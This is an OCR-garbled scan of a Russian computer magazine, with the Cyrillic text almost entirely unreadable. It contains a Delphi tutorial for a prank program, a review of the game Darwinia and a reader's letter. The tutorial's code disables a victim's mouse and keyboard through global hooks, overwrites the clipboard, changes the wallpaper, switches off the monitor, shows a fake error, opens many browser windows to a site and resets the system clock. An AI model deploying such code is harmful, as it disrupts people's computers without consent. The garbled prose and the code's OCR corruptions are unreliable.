MBI HE 6y.uyT BLINOAHATE HUKAKKUX AencTeui. [na 3toro Hanm-
WwnTe B pasgene implementation TAKYIO GYHKUMIO:
function KbHook (code: Integer; wparam: Word; lparam:
LongInt) : LongInt; stdcall;
begin
if code < 0 then
Result := CallNextHookEx (oldKbHook, code, wparam,
lparam)
else
Result :=1;
end;

3aTem HaNMLMTE TaKOJA KOO Ong BTOPOro NpuUkona:
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1,
@Dummy, 0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1,
@Dummy, 0);

OldKbHook := SetWindowsHookEx (WH_mouse, @KbHook,
HInstance, 0);

Mocne 370ro HUKAKAA M3 KHOMOK MbiKM He Byaer dyHKUMOo-
HUPOBATh.

Mcnonb3ys QyHKUMIO ANS OTKAKOMEHUS MBILK, MOXHO HAMMW-
CaTb KOA ANA OTKMOYEHWS KNABMATYPL. Hanuwute TakOM ko
Ong TPETLEro NpuKona:
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1,
@Dummy, 0);

SystemParametersInfo (SPI_SCREENSAVERRUNNING, 1,
@Dummy, 0);

0ldKbHook := SetWindowsHookEx (WH_KEYBOARD,
@KbHook, HInstance, 0);

3nech BbI3LIBAETCA TA Xe PYHKUMA, TONLKO BMECTO napamer-
pa WH_MOUSE Mbl nepegdem napameTp WH_KEYBOARD. [locne
3TOTO KNABULMW KNABUATYPBI NEPECTAHYT PYHKUMOHUPOBATS.

YerteepToit Npukon — ounwats Bydep obmeHa u 3aHOCUTL
Tyaa cson tekct. Koa uetseproro npukona:
ClipBoard.Open; //oTkpuBaeM Bydep obMeHa
ClipBoard.Clear; //ouuuwaeM 6ydep obmMeHa
Clipboard.asText :='Bydep o6MeHa BpeMeHHO He paboTa-
etr!’; {3anocum B bydep obMeHa CBOM TEKCT }
ClipBoard.Close; //zaxpHBaeM bydep obmena

Hna pabote ¢ Bydepom obmena HeoBxoaMMO ROAMCATL B
paspen uses moayns clipbrd.

Matwit npukon Byner nenats CHUMOK C IKPAHA, COXPAHATL
3TOT PUCYHOK 1 genatk ero pucyHkom Pabouero ctona. CHava-
na 8 pasjene implementation Hanuiuem npouenypy Set-
Wallpaper, KOTOPas OyneT yCTAHABNMBATE GOHOBHIA PUCYHOK.
Mpouenypa SetwallPaper:
procedure SetWallpaper (sWallpaperBMPPath : String;
bTile : boolean );
begin
reg:=tregistry.create;
reg.rootkey:=hkey current_user;
if reg.openkey(‘Control Panel\Desktop’, true) //pa-
boyun My TH
then
reg.writeString(‘Wallpaper’,6sWallpaperBMPPath) ;
{knwu, conepxaunit nyTe K bmp-daniny }
reg.WriteString(’TileWallpaper’, ‘1’ ); ); //pacTsi-
HYTB PUCYHOK Ha BECh DKpaH
with reg do begin
WriteString( ‘Wallpaper’, sWallpaperBMPPath );
if( bTile )then begin
WriteString(’'TileWallpaper’, ‘1’ );
end
else begin
WriteString(‘TilewWallpaper’, ‘0’ );:
end;
end;
reg.Free;

MOWM KOMTILIOTEP

SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil,
SPIF_SENDWININICHANGE ) ;
end;

Nhdbopmaumio o pucyHke, koTopblii Haxoantcs Ha Pabovem
cTone, MOXHO Haitu B peectpe. OHA HOXOAMTCA B BETKE
HKEY CURRENT_USER, a 006patsCs [0 HEE MOXHO NO TAKOMY
fyTh: \Control Panel\Desktop. [lapameTp, copepxaumi Ha-
3BAHWE PUCYHKA, HOCUT mmdA ‘wallpaper’. To ects gna toro,
4ToObl CMEHUTL 0BOU, HOM HALO M3MEHUTL 3HAYEHUE NAPAMET-
pa ‘wallpaper’ u ONOBECTUTb CUCTEMY O TOM, HYTO Mbl BHECITH
uameHermns 8 peectp. [locnenHss CTpoka camas BAXHAS — OHA
OBHOBNAET CUCTEMHbIE HOCTpoﬁKM.CDyHKuMH SystemParame-
teraInfo mmeeT cneaylowmne NAPAMETPbI

1. dedictene, KOTOPOE HAAO BHINONHWTL. B Hawem cnyyae
SPI_SETDESKWALLPAPER — YCTQHOBKA oboes

2. 3aBUCUT OT 3HAYEHMA NEPBOTO UPryMeHTa

3. B Hawem cnyyae nyTe K GAiNy € PUCYHKOM.

4. B nocnepHem NapameTpe yKasbiBAETCA, YTO HAAO Aendrb
NOCNE BLINOMHEHWS BCEX AEMCTBMA. Mbl AOMXHb OBHOBWTE HA-
CTPOMKM CUCTEMBI, iR STOTO BEIBUPAEM SPIF_SENDWININICHANGE.

Kog npvkona 8 cobuitun Tanmepa Byaer MmeTb TAKOM BMA:
BMP1l:=Graphics.TBitmap.Create;

//3amaeM pa3sMepH PUCYHKAa Takue Ke, KakK pa3MepH 2KpaHa
BMP1l.Height:=8creen.Height;
BMP1l.Width:=8creen.Width;

DCl =GetDC (0 ¢

//DenaeM CKpUHIIOT IKpaHa

BitBlt (BMPl.Canvas.Handle, 0, 0, Screen.Width,
Screen.Height, DC1, 0, 0, SRCCOPY) ;
forml.Visible:=true; //BOCCTAHaABNIMBAEM OKHO Hauemn
OIPOTPAMME

Imagel:= TImage.Create(nil);
BMP1.IgnorePalette:=true;
Imagel.Picture.Assign(BMP1);
BMP1l.SaveToFile(‘c:\1.bmp’); //CcoXpaHsaeM CHUMOK B
darn 1.bmp Ha gucke C:\
SetWallpaper(‘c:\l.bmp’, false ); //yCTaHOBMM COE-
JIAHHKM CHUMOK Kak GboH

repaint; //obrosuMm

3neck Mbl AENAEM CHUMOK 3KPAHA, COXPAHAem ero 8 Gani u,
BbI3bIBASA NPOLEAYPY SetWallPaper, AenNdem ero pucyHkom Pa-
Bouero cTona.

Pas yx Mbl HaNMCanW npoueaypy, KOTOpas YCTAHOBAVBAET
GOHOBLIK PUCYHOK, NOYEMY Bbl HE MCNONL3OBATE €€ B HAWEM
cnepyowem npukone? Lllecton npukon Byaer coctosTh B TOm,
4TOObI HOMTM CIyHQHHBIA pucyHok B katanore Windows v cae-
nate ero goHoseim. Bot kop wectoro npukona:
endval:=random(10)+5; //Ons clny4amHOCTU BHOODA PUMCYHKAE

Finds:=FindFirst ('C:\Windows\*.bmp’,6 faAnyFile, fn});
{nuwewm Bce dainu ¢ pacuupeHveM * .bmp B katanore Windows}
finds:=random(2); //cnyuaiHoe uucno, 0 nmm 1

if finds=1 then SetWallpaper (fn.Name, false ); {ecnu
BHMAN 1, TO yCTAHABIMBAEM IEDBHI NON&aBUMACH PUCYHOK }
if £inds=0 then begin //unaue.. .

for i:=1 to endval do

begin
Finds:=FindNext (fn); // ...uleM OpyTue PUCYHKM

if izendval-3 then SetWallpaper{fn.Name, false );
{ BuBMpaeM nbON Opy T'OM PUCYHOK U OernaeM ero POHOBHM}
end;

end;

FindCleose(fn); //3axpHBaeM NOUCK

3neck mbl Muem Bce pucyHku 8 katanore Windows n cnyuan-
HO BBIBMPAEm, KAKON M3 Hux Byner GOoHOBLIM. 3aTEM YCTAHABNM-
Baem GOH € NOMOLLBLIO YXE roTOBOM NPOLERyPL SetWallpaper.

Censmon npukon Bynet sbikniouats monutop. [ng storo aoc-
TATOYHO HANWMCATL OAHY CTPOKY KOAQ:

SendMessage (Application.Handle, WM_SYSCOMMAND,
SC_MONITORPOWER, 1);

Bocbmoit npukon GyneT BLIBOANTE OKHO C OLWMOKOR, HO 3TO By-
neT He NPOCTas owubka, okHO ¢ ownbkon ByaeT coaepxats or-
POMHOE KONMMYECTBO CyyaiHbix Yucen. Bot koa 3toro npukona:
fori:=1to 200 do begin

A Oxonuanme Ha ctp. 43




Jeoniouus we no [lapeuny

Cepren F'ABPHOHEHKO aka Kirov

Aptyp HEMEPWC aka R@ak

Y710 Takoe TpuauaTeL NATb MerabavnT B COBPEMEHHOW rermmHaycTpumn? Tpets ponvika ua «lleaxkunnepay?
Cemb ¢ nonoBuHoOW mogenevt camoneroB u3 «/in-2: LLtypmoBuk»? Yboras feMKa Kakou-To OTCTOMHON
apkage!? Het! 310 noTpacarowas vrpa, coveTarowasn B cebe 3/1eMEHTbI Be3YMHOM0 3KLUIEHE W 3NIEMEHTHI...
ewe vero-1o0 ©. B obuwem, 31o — «[apBuHnay. He Bepute? Torga mel vgem K sam!

Paspabotuux: Introversion Software
- UNaparens: Introversion Software
XKawp: action/strotegy
Cucremubie Tpeboeanus: CPU 1 [Ty,
256 M6 O3Y, 64 M6 eupeo
oka noaasnsiowee 60NLWUHCTBO
pa3paboTYMKOB NHITANOCE NOPA3UTE
HOC rPadUYecKUM COBEPLIEHCTBOM
CBOMX NPOAYKTOB, [OBOAA KONMYECT-
BO NONWIOHOB B KOAPE A0 NOWCTUHE AC-
TPOHOMUYECKNX UMPP M BCAYECKHM PA3TO-
HA CKOPOCTb ODHOBNEHMS 3TUX CAMBIX
KOOPOB, MANO KOMY AOCENE M3BECTHLIE
T8opupl 13 Introversion Software caena-

K CTABKY HA rE€MMNNEN M OPMIMHANBHOCTL
M. copsanu gxek-not. Mx wrpa Dar-
winia — HEoNPOBEPXUMOE A0KA3ATeNb-
CTBO TOMY, 4TO TBOPYECKMIA NOAXOA U He-
OPAMHOPHOE MbIlWNEHWe BCErao B ueHe.
Mrpa He MOXEeT MoxBACTATLCA HU KPYTOM
rpaduKon Mnu GU3NKOH, HU AHUMALMEN
IOHMTOB, 30TO OBNAKUET LOCTOMHCTBOM,
KOTOPOE NO3BONAET €M 3ATKHYTb 34 MOAC
noboro Turara xaxpa. M uma atomy poc-
TOWHCTBY — renmniew.

PacCKaxy MHE CKa3Ky...

Ckaska, a TouHee, uctopus [lapemHim Ha-
4aNACk, KOrAA AOCTONOUTEHHbIA AOKTOP K-
Bepretnuecknx nayk Cenynesena — cyas no
BCEMY, HAYMTABWMCE Tpyaos Tomaca Mopa
O KOMMYHWUCTUHECKOM CTPaHe YTOnuu, rae Ka-
XA NONy4aeT no NoTpebHOCTSM 1 oTageT
N0 BO3MOXHOCTAM, — PELUMA 3QHATLCA CO3-
noHvem nogobroro rocynapcrea. MNpasaa,
HE MMES LIAHCOB COTBOPUTL YTOMMIO B OEN-
CTBUTENLHOCTH, NOKTOP PEeWWn BOCMONb30-
BATLCA CBOMMM NO3HAHUAMM B KMBEpHETUKE
W MPOYUX KOMMBIOTEPHBIX HAYKaX, YTOBH BO-
NAQTUTE FPAHAMO3HBIE 3AMBICTBI B BUPTYQMb-
Hor peanstoctn. Ckasaqo — caenaxo. Jon-
rne roast Cenynbsena, He NOKNGAAs Pyk M
DONGMBIBAR yXe KoTopyio knasuatypy ©, Teo-
PHI CBOKD YTOMMIO — W BOT, HAKOHEL, NOCNe
MHOTUX BECCOHHBIX HOYEN U IMTPOB BLINUTO-
ro Kode ero Tpyasl yser1anmcs yenexom Cos-

LOHHBIA UM BUPTYQBHBLIM MUP AOKTOP B 4ECThb
CBOEN UCKITIOUMTENBHOM NIOBBU K 3BONIOLM-
OHHOW Teopuu Ha3san JapsuHner, a xute-
nen ee, COOTBETCTBEHHO, AUPBHHHQHLAMH.

JapBuHUaHUE — 3TO NNOCKME 3ENeHbie
YENOBEYKHM, Yy KOTOPBIX ECTb LMGPOBAs Sywa
M KOTOPbLIC MUPHO XWUBYT HO NPOCTOPAX CBO-
€1 POAMHBI, HUYETO HE OeNas M TEM COaMbIM
QKTMBHO NOMOTQS LOKTOPY M3y4aTb MPUHLIM-
Nbl M 30KOHOMEPHOCTH IBOMIOUMOHHOTO NPO-
uecca. B obuiem, sce wno kak no macny, 1
Cenynbsena passuean cBoK CTPAHY, COEAN-
HAA €€ BUPTYQNbHLIE NPOCTPAHCTBA CMEUM-
ANbHLIMWU NOPTANGAMHK, KOTOPLIMKU MO none.-
30BATLCA AAPBUHMAHLLI M TypucTsl. Ho oa-
Hoxab... OnHAXAs NOABMACS 3N0OHbIM KPAC-
Hbil Bupyc. (MMouemy-To nokTop 3absin 3awum-
THTE CBOE BUPTYQNbHOE TBOPEHWEe GHTUBUPY-
com ©). Bupyc npunsnca nytewecTsosars no
CTPAHE C NOMOLLBKD YNIOMAHYTBIX BblLUE NOP-
TQAOB — HO HE KAK MUPHbLIK TYPUCT, O kak
HOCTORWMIA arpeccop v okkynaHT. Ow cran
Be3KANOCTHO YHUYTOXATL BCE M BCA HA CBO-
€M NYTH, He Nenas UCKMIoYEHUs ans 6e3obua-
HbiX AAQPBUHUCAHUEB, INEKTDOHHBLIE AyLUW KO-
TOPLIX OH HE3 BCAKOTO COCTPAACHNS KOHBEP-
TMPOBAN B HOBHE PA3HOBMAHOCTM COMOTO
ceba. Kasanocs 661 — sce, komeu. beictpo
PA3MHOKMBLUMICA M MYTUPOBABLLMA M3 NPO-
CTOrO HEPBSA B COMbIE PA3HOOBPA3HLIE HOpP-
Mbl HOCEKOMBIX-NEPEPOCTKOB BUPYC BOT-BOT
YHHUHTOXKUT NoCnegHne OCTATKKU npeXHeﬁ KuM3-
tm 8 JapenHum, u Henerkve Tpyas Cenyns-
sedsl nonayT npaxom. Ho He TyT-10 Brino! B
OTBETCTBEHHbIA M CynbBOHOCHLIM aAns BCEM
ﬂOpBMHMM MHI HA dPery BbIXOOUM Mbl — U B
POMK KOMOHAUPA BUPTYANEHOTO OMONYEHUS
Ha npotaxennn 11 mucenin ocsoboxaaem
JapsuHuio 0T 300r0 BUPYCA, BO3POXAAA NO-
nynaumo AAPBUMHUGHLEB. KOHe‘-IHO, BEEBTO
Byner NPOMCXOANTE NPHU AKTUBHON NOALEPX-
ke poktopa Cenynseeasl, KOTOPLIM CTAHET
NOAKMOBIBATE HOM HOBbLIE ((OHTMBMpyCHbIe»
NPOrPAMMBI, YIYYLWATE CTAPLIE U AIPOCTO NO-
MOrQTh CBOEBPEMEHHBIM COBETOM.

Bor takas uctopwus.
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Mlokaxy MHE CKaaky...

Yo 3102 lannoumnaumna? BHesanHsii
cboi supeokapteie O HeT, TONLKO HE 3TO...
HEYXENU PeansHOCTLS

Yebl. [TbiTasich KAk MOXHO TOMHEE nepe-
0aTtb yMOnOMpOLIMTeﬂbeIe KAPTUHbI BUDTYQNb-
HOTO MMPQ, 3OKNKNEHHOTO B KOMNBIOTEPE HO-
LWero AokTopa, paspabotumku us Introversion
Software 8 NoNHON Mepe FKCANYATUPYIOT TEX-
Honoruueckue HapaboTku Havana 90-x ropos
npownoro seka. Otcoaa v pesynstar. [on-
HOCTHIO TPEXMEPHBIM MHAP C NOTPACTIOWIMM
AMANA30HOM 3yMO OAHOBPEMEHHO COCEACT-
BYET C NNOCKMMU MOLENEKAMW AOPBUMHACQHLER
M HGMEPEHHO HU3KOAETANUIMPOBAHHBIMM CKBA-
[OMM, NPHIBAHHBIMW BLI3BATH Y BETEPAHMCTO-
ro reAMepPa HeYAEPXMMBIE NPHUCTYMb HOCTASTb-
MK NO Tem AANEKMM BPEMEHOM, KOTAT NMBO
6bin0 BhilLE, O AepeBbs BKycHee (unu Haobo-
pote — [Jpum. R@ak’a). KucnotHo-3eneHsie
POBHWHL!, CNPGHTOBLIE AEPEBbS, NOTPACAK-
WQs 8OAQ, NOKPLITAS PA3HOUBETHbIMM KBOL-
paTMKaMM, O TaKxke 3BykoBbE IhdekTs, JOC-
TOWHbBIE BOCKMMBHUTHOM NMPUCTABKM — BCE 3TO
NOHAYAAY BLI3LIBAET AANEKO HE COMbIE MPH-
ATHLIC 3MOLUMM M MOXET HABCEerna oTBaaMuThb
HE B MEPY BNEUQTAUTENBHOMO reMmepa ot
«[apsurumny. Ho ecnu Bw nepebopete atepa-
wenve v 3actasute cebs NPOACIKMTE 3HA-
KOMCTBO C 3TOM WFPOW, TO YXe Yepes AecsTh
MUHYT nonmeTe, yTo rpaduka 8 JapenHuu
UMEHHO TOKAS, KOKOM OHA M [OMXHA ObiTh.
MHorononuroHansHee xonmsl, GoTopeant-
CTUYHbIE TEKCTYPbI K QHMMHMPOBAHHBIE NO NeX:
Honorn Mation Capture ioHuTs! nuwmny Gw
UrPy NbBUHOW OONM €€ OYAPOBAHMA.

Bnpouem, Ha oaHon crunusaunn rpadu-
kv «[apeuHmiy noa xutsl Beinbix BpemeH pas-
pPaBOTUMKM HE OCTOHOBMMWMCH M HEKOTOPbIE
rEMMNNIENHBIE INEMEHTBI TAKXE OOONXKUN Y
nepsonpoxoaues reimaesda. Hanpumep, npo-
uecc 608 ¢ KPACHOM 3aPpa30i Bbin ABHO CNk-
aan ¢ Cannon Fodder, o yem nesenonepsi
3AABMAM OTKPLITO, AOOABME B CBOKO MIPY Ky-
couku cayarpeka u3 toro camoro Cannon

Hephi
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Fodder’a. Bnpouem, He Bynem 30UMKImMBaTs-
CSl HO OTNOBE 30UMCTBOBAHUA W MOAPAXA-
HUit, Tem Bonee, YTO OHK HUUYTb HEe BPEeaaT
«[lOpBUHWMY 1 yX TOYHO HE rOBOPAT O ne-
HU Pa3paBOTYMKOB, HE KENQIOWMX NPULY-
Mmats uTo-T0 Hosoe. Hert, Hanpatus, MMEH-
HO TAK sce v nonxHo GbiTs.

Cnequi 3a KpacHbiM BUPYCOM...

A NoKQ Mbl PA3MBILLAKAN O rpadmke K
BLIBOAMAM ONEKO Maywwe BuBogs ©, 8
HapsuHnu npoponxan Hywesats kpacH.IA
BUPYC, NOXMPAA HEBUHHBIX AAPBUHUOHLIER
¥ NPEBPALLAS WX OyLW B OYEPEdHbIE PA3-
HOBMAHOCTH Bk u Byk. «Henopagok», —
noayman goktop Cenynesena v obpatun-
CA 30 NOMOUWLIO K HOM, HEBELOMO KAK, HO
O4eHb KCTATH NONABLWMM B [apenHuio. Mei,

eCTeCTBEHHO, B NOMOULM HE OTKA3QM.

B ponu 1oHUTOB, NpuBeIMHBIX NO APYIMM
MIPAM, HQ TeppUTOpuY Japenuum seicTyna-
10T Nporpammsl. 41obs Be13BATE NKOBYIO KOC-
TYMHYIO HOM «NPOFy», AOCTATONHO B CReuu-
QNBHOM MEHEIXEPE 304a4 HOPUCOBATL ON-
PEAENEHHbIM XECT, KOK Mbl Oenany B
Block&White. [ins co3panma o4epenHoi ko-
NUM NPOTPAMMBI BAM, ECTECTBEHHO, HE MO-
HOAOBATCH HU 30MOTO, HWU MULLA, HA apyrve
npuebiuHbie pecypcsl. Ho 4tobsl kak-To or-
PAHWUYUTE rermepa, pa3paboTumkn Beeu
SIUMUT HA KOSIMHECTBO OfIHOBPEMEHHO Bbi-
NOMHAEMBIX MPOrPAMM U NPAMOE yNpaBne-
HUE KAXObIM KOHUTOM. A NOTOMy He nony-

YUTCH BLIAENNUTL PAMOYKOW BCE CBOM BOMCKQ
M HONPABWUTL MX KYAQ-TO B CTOPOHY BPArQ
8 HOLExAe Ha ckopyk nobesy — CO3AaH-
Hbll HeaasHO GoeBot OTpAd aka CkBAf, XOTb
u 06naaaeT HekMMM MONO3AMETHbIMA 3Q-
4aTkamu uHTennekta, 6es Bowerc Heno-
CPEOCTBEHHOMG KOHTPONA LTYPMOBATE CKO-
nnexue cynoctaros He nonger. W cosna-
BATb CKBAMLI TAE NONANO, AECAHTMPYS B ThiN
BpAra BECKOHEUHbIE NOTOKU CBOWX BOWCK,
BAM HUKTO He pacT. KM3sonbTe cHayana npu
NOMOLLIM MHXEHEPA 30XBATHTL BCE PACCTAB~
neHHsie Ha kapTe 6a3bl W nopTans, a no-
TOM CO3[0BANTE TAM HTO XOTUTE.

Knioueson MOMEHT Urpsl — 3T0 HEOBXO-
AMMOCT cO0PA Ay, OCTAIOWMXCA HO MEC-
T€ NOBEPXEHHbIX BMPYCOB, C LEMLI NOMNON-
HEHMA CUNLHO NOPEAEBLUEH NONYAALUMM ACP-
suHmanLes. [lononHats ee mst Byaem He cTonb-
KO PAGH MOPAMLHOTO YAOBOMLCTBMA, CKOMb-
KO PaaM CBOEM BLIrOObI, BEAb BEPHYBLLMECH

K XM3HWU CHMNATHYHLIE 3ETEHbIE YENOBEHKM
CMOTYT OKO3ATh NOCUNEHYIO MOMOLLL B HOpPb-
6e npotue Bupyca. Ha camom pene cobu-
PATh AyLIM HE TAK yX CNOXHO, AOCTATOYHO
HONPABWTE HO BbiBlwee MecTo BuTesl uHxe-
HEPQ, U OH TOTYAC NpUMeTEs 3a chop «ypo-
XQf» M AOCTOBKY €70 k Bnwxaiuemy 3axsa-
YeHHOMY uHkyBaTopy. Tam ceexecobpaHHbie
Lyww BynyT UCNONb3OBAHLI ANA CO3AAHMS OYe-
penHoi naptim aapsuHuanues. Hennoxo G-
no Bbl CPA3Y HAMAOOUTE HECKONBKMX MHXE-
HepoB, ytobu npouecc wen BuicTpee — a

TO B OXMAGHUM COOPLIMKA Ayl MOMYT OT-
NPABUTLCA B BEPXHWE OCTpansHbie cnon. Ho
QN8 3TOMO HyXHO YNydYWaTh MEHEAXEP 3Q-
AQOM, TOFAQ YBEAMYMTCS KONMUECTBO OAHOBPE-
MEHHO 30NYCKABMBIX POTPAMM. YNYULIEHNIO
nogaaetca niobas sawa nporpamma, Gyae
TO ckBAA Unv BoOPyxeHue. [lpoanrpennxe-
HHBIE BOMCKQ TOTHAC YBEMYAT CBOKD YUCNEH-
HOCTb B KOXAOM OTpsae. A camu AApPBHHK-
QHUBI MO MEPE CBOErO PA3BUTUS CMOTYT AQ-
K€ OKA3ATh NOCHILHOE CONPOTUBNEHME YI-
POXQIOUIM UM BUPYCam. [lng nonyueHns Bcex
3TUX MAILWEK AOCTATOMHO B CNELManbHOM
MEHIO BHIBPATL MHTEPECYIOWMM BAC Npea-
meT — u poktop Cenynesena TyT xe mpw-
meTca 3a paboTy HOA anrpeiaom.

Bnpouem, 0cHOBOM Urpb BCE-TAKM OCTA-
10T1CA 6uTBb. VIMEeHHO OHn ByayT 3aHMMaTh
BOABWYIO HOCTb UIPOBOTO BPEMEHH U MpU-
xosbiBATH K cebe sawe sHumanme. [pouecc
CPAXEHUH, KOK YKE MUCANOCh BbILIE, CHMlb-
Ho cmaxueaeT Ha oreii u3 Cannon Fodder:
HOXMMAR HO NPABYIO KHOMKY MbILLQ, CTPe-
NAEM MO BPAram u3 TOBEEHOTO PYXXKA, KUK
HQO NEBOV NPUBOAKT k Bpocky rpanaTsl/nyc-
Ky PaKeThl/BH30BY OBMOYAGPA, B 3ABUCH-
MOCTH OT BbIEPAHHOM BAMM MPOMPAMMBI BOO-
pyxeHus. Ha nepebix nopax yHUMTOXEHne
BMPYCOB NPOUCXOAMT 6e3 Tpyaa: ocobbim
MHTENNEKTOM OHW HE OTIIMHAIOTCS, EAWHCT-
BEHHBIM MX KO3bIPb — 3TO YUCNEHHOE npe-
BOCXOACTBO, A4 €le 0COBEHHOCTH MECTHO-
ro penteda, He NOIBONAKOLLErO BECTH AAMb-
HUI OroHb. [lo mepe npoxaxpeHua Mrphbl
Bam ByayT BCTPEUATHCA BCE HOBLIE M HOBBIE
PA3HOBMOHOCTH HEOPYrOB, HEKOTOPLIE U3
KOTOPBIX OKQXYTCH HOCTATOUHO XMBYUMMH,
utoB6l caenats npouecc oHmncTky Japeutin
OT KPACHBIX OKKYNOHTOB TPYAHEE — M UH=
tepecHee. OAHOKO CKBQMALI, B OTAMYME OT
BUPYCOB, UMEIOT OIHO 30MEHATENEHOE CBON-
CTBO — HMKOraga He 3AaKAH4YMBATLCAH.

Hy, a mbl 3akaH4MBOEM CBOE NOBECTBO-
saHue o cnaeHoi [apBrHUM M xenaem Bam
KAK MOXHO CKOPEE NO3HOKOMUTECA HA NPAK-
THMKE C 3TOWN 3ameyatensHon urpoin ©.

A O«onuanmne. Havano na crp. 40-41

case i of
259780975,100,125,150,175,199: err str:zerr str+#13
#10; {nmocne kaxnoro 25-ro yucna uneTt cBpoc Ha HOBYID
CTPOKY }
end;
err str:=err str+inttostr{random(99999)); //TekcT
"ounbgu”
end;
messagedlg{err str, mterror, [mbok]l, 0); //BuBOOUM
coobueHue

B upkne ot 1 po 200 swibupaetca cnyyannoe smcno o1 0 go
99999. Bce uncna nepesoastca B CTPOKY M A0BABNAKOTCA K CTPO-
KOBOW NepemeHHon err_str. Ha kaxpom 25-m uucne npowc-
xoput cbpoc cTpokn. B pesynstate BhigaeTca npumepHo Takas
«owmnbkay», kak Ha puc. 1.

B aesatom npukone mbi Gylem OTKPHIBATE HEKOTOPOE KOMMW-
yectso (ot 5 ao 15) okon Epaysepa Internet Explorer ¢ noneit-
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164031 141
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MOW KOMIbIOTEP

KOM 3ANTH HA CaMT www.heel.nm.ru. Hu koraa nonsaosarens 8 Mx-
TEPHETE, HKU KOraa VIHTEPHET OTKAIOYEH, 3TO HUYETD XOPOLLEro
HE NPUHOCHUT — nubo ByneT Topmoaute Mutepret, nnbo cama
cuctema. Bot kop pesatoro npukona:

for i:=1 to random{10)+5 do //cny4anHoe uucno oT 5 #o 15
ShellExecute (0, ‘open’, ‘C:\Program Files\Internet
Explorer\IEXPLORE.EXE’, ‘www.heel .nm.ru’,0, SW_MAX-~
IMIZE) ;

Y1066l MCNOML30BATL PyHKLMIO ShellExecute, HEODXOAMMO
nobasute B pasnen uses moaynt Shellapi. 34eck mb 3anyc-
kaem Internet Explorer ¢ aprymeHtom ‘www.heel.nm.ru’ u ¢ pas-
BEPHYTHIM HQO BECh 3KPAH OKHOM Bpaysepa.

Mocneanwit, pecatoin Npukon ByaeTt yCTAHOBAMBATL TEKYLLYIO
nary 8 01.01.2000, a rexywee spemn 6ynet mensatsea Ha 00:00:01.
Bot kon gecatoro npukona:

GetLocalTime (tm) ; //y3HaeM TeKyUylo OATY U BpeMs
tm.wYear:=2000; //ycTaHaBIuMBaeM rom

tm.wMonth:=01; //Mecsu

tm.wDay:=01; //geHb

tm.wHour:=0; //4acu

tm.wMinute:=0; //MUHYTH

tm.wSecond:=01; //CexyHIH

tm.wMilligeconds:=0; //mMC

SetLocalTime (tm); //yCcTaHaBIMBaEeM HOBYD OATY U BPEMS

CHAYana mbl y3HOEM YCTAHOBIEHHYIO OATY M BPEMA, 30TEM
uamensem aaty Ha 01.01.2000, o spems usmensem na 00:00:01.
[Tocne 3toro ycraHaenmnBaem HOBYKO OATY WU BPEMS.




Kunowka pegakmepas

becegka «Moe2o Komnblomepan

Cnywba wapognoao HETP

«YXe rae-To FORMK 4MTOIO BOLW XYPHQN.
Mo mepe CBOMX CKPOMHBIX BOIMOXHOCTEH
neiTanca NOMOYs YHTATENAM, NPDOCHBLLAM NO-
motun 8 18064 pybpuke. M 8oT npmwno spe-
M$, KOFQQ MHE COMOMY HYyXHQ NOAAEPXKA B
nporpammepckom aene. Tax 4to, ecm Tei He
nPoTMB, 06PALYCh YEPE BALW XYDHOI K Qp-
Mmun nporpammepos, paboraowmx Ha Del-
phi, C++ u Accembriepe.

HELPItI
= Y meHs ects nporpamma, kotopas beina
CAENAHO HA BEAYWKE BCEX KOMALIOTEPOB
ZX-Spectrum ¢ mtepnperaropom besicuxka. Ona
6110 NONHOCTHIO PABOHA HA TOM KOMIE,

5 xo4y nepeHecTs ee B MO¥H COBpEMEH-
HbIH.

U sce Gt Hiwero, ecriv 61 He onHo «HO».
B nporpomme ects yyacTox, He peannsyemsii
craHpapTHemu cpeactsomu 8 Delphi n Visual-
Basic. Ecm Hyx+HO Bonee noapobHo, HanuLy.

Bot mos npobnema. 4 mHoro uHTepeco-
BOACA, HO HE HALLEN OTBETA, KK €€ PELLNTLY.
ALEX (alexey_pro@list.ru)

[Nomorute Anekcy. Y Hero cepbesHbie Tpya-
Hoctn. Mouemy? Moackaio.

Moxert, kT0 He 3HaeT: Buno spems, KO-
rAd KOMNBIOTEPSI 6blﬂl4 MANeHbKUMH, 0 KOM-
neloTepWwmkK Benukumn. M naoxe npoctee
NONE30BATENLCKME MAHMMYAALMM, KOTOPLIE
Bbl CErOAHA AENAETE UrPaIoyM, B Te NPeKpac-
HEIE BPEMEHA COBEPLLANUCH C AOCTATOHHBIM
NPUNOXEHNEM CHUN M YMEHNH.

U uyto camoe xopolee — 310 BbIN0 uH-
tepecHo! 310 Beino yenekatensHo. na 1o-
ro, 4To6bl YTO-TO HA 3KPAHE MPOM3OWANO,
HYKHO BBINO PELLINTL HEKYIO HETPHUBMANBHYIO
30004Y.

W nostomy Bce Bbink yMHALAMY, BCe KNacc-
HO NPOrPAMMHPOBANM, PEWANK CEPbE3HbIE
300044 NO 3KOHOMMU KOHEYHOTO pasmepa
pe3ynsTata paboTs....

M Boobwe Bbin NOBOMbHBI XU3HLKD. A
oHa kasanacs BeckoHedHon, kax 30-mera-
BanTHLIA BUHYECTEP...

Mpowno uensix gsaguats net. Jaxe ce-
rogHs TE, pean13oBaHHbIE KOTAA-TO B MONO-
AOCTHM MAEH KAXYTCA HAOM NOTMYHBIMKU U KPa-
cupeimmn. CO BPEMEHEM XENE30 B CBOSM PA3-
BMTMM YLIMIO TAK AQNEKO, HTO KPEMHWEBbIE
BHYKW HE NOHWMAKOT A3bIK CBOUX BefyLUeK. M
kak wHOraa BeiBaeT 0BMAHO, KOrAA 3HAELWS,
4TO BOH B TOM OHTMKBOPHOrO BMAQ NNACT-
MACCOBOM AALLIMHKE C HEUCTPEOWMBIMM Creaa-
MM IM3AIMHA CEPEIMHB BOCBMUMAECATHIX FON08
COKPBITO MHDOPMALMOHHOE COKPOBHLLE: pe-
3yNLTATH BAWETO NPOrPAMMHCTCKOTO TANaH-
TQ... O M3BNEYL €rO HET BO3MOXHOCTH.

Ha camom nene Hete Mnn mbl npocTo He
3HOEM, KaKe

Mo cymme 3HOHUIA M yMEHWI BCE unTaTe-
m MK 0Bpasyior Hekuin pacnpeneneHHbii
cyneppasym (tvna pasymHoro okeara Co-
Napuca, ToNbKO NOCUMNATUHREE KU rlOO6LLlM‘
TENbHEE), U MABHOE B 3TOM CNyYaE — 3HATH,
KQK NONPOCHTL y Hux nomowwm. Obssarens-
HO HOMOETCA HEKTO, KTO 3HOET, KAK PEeLlnTh
